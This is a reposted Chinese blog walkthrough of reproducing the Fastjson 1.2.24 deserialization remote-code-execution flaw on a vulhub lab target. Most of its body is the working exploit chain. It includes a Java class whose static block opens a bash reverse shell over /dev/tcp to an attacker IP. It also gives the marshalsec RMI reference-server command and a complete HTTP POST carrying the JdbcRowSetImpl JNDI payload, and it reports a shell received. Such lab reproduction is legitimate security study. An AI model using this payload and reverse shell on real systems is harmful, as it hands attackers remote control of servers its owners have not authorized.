文章总结: 本文详细复现了Fastjson1.2.24反序列化远程代码执行漏洞的完整过程,通过JNDI注入利用RMI服务触发恶意类加载,成功在目标服务器上获取反向Shell。关键步骤包括编译包含反弹Shell命令的TouchFile类、搭建HTTP服务托管恶意类文件、启动RMI引用服务器以及构造特定JSON载荷通过BurpSuite发送攻击请求。 综合评分: 78 文章分类: 漏洞分析,WEB安全,漏洞POC,实战经验,代码审计
Fastjson 1.2.24 RCE复现
原创
Pikaciu Pikaciu
Piusec
2024年9月15日 16:38 中国香港
在小说阅读器读本章
去阅读
免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息或工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任!
漏洞复现
这个fastjson1.2.24 rce漏洞是通过 vulhub 靶场搭建的,我通过vulhub以及网上各种文章的exp复现总是失败,找了很多文章后成功复现,希望这篇文章能给正在复现fastjson 1.2.24漏洞的师傅们有所帮助
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.239.128/2333 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
准备已经被编译好的marshalsec-0.0.3-SNAPSHOT-all.jar github地址
创建TouchFile.java文件把上面给的exp ip地址更改为你需要反弹的地址也就是你的攻击机,之后使用javac进行编译
编译后的文件为TouchFile.class,在这个文件的目录使用python开启http服务
使用java开启rmi服务,建议使用java8,kali多个java版本切换文章:
Kali安装JAVA8和切换JDK版本的详细过程_kali安装jdk8-CSDN博客
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.46.129:6867/#TouchFile 2786
使用burp抓包把请求格式更改为POST提交,把数据格式更改为application/json
POST / HTTP/1.1
Host: 192.168.46.131:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 161
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.46.129:2786/TouchFile",
"autoCommit":true
}
}
攻击上面开启监听
发包后成功的开到攻击机上监听到shell
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Piusec Pikaciu Pikaciu《Fastjson 1.2.24 RCE复现》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论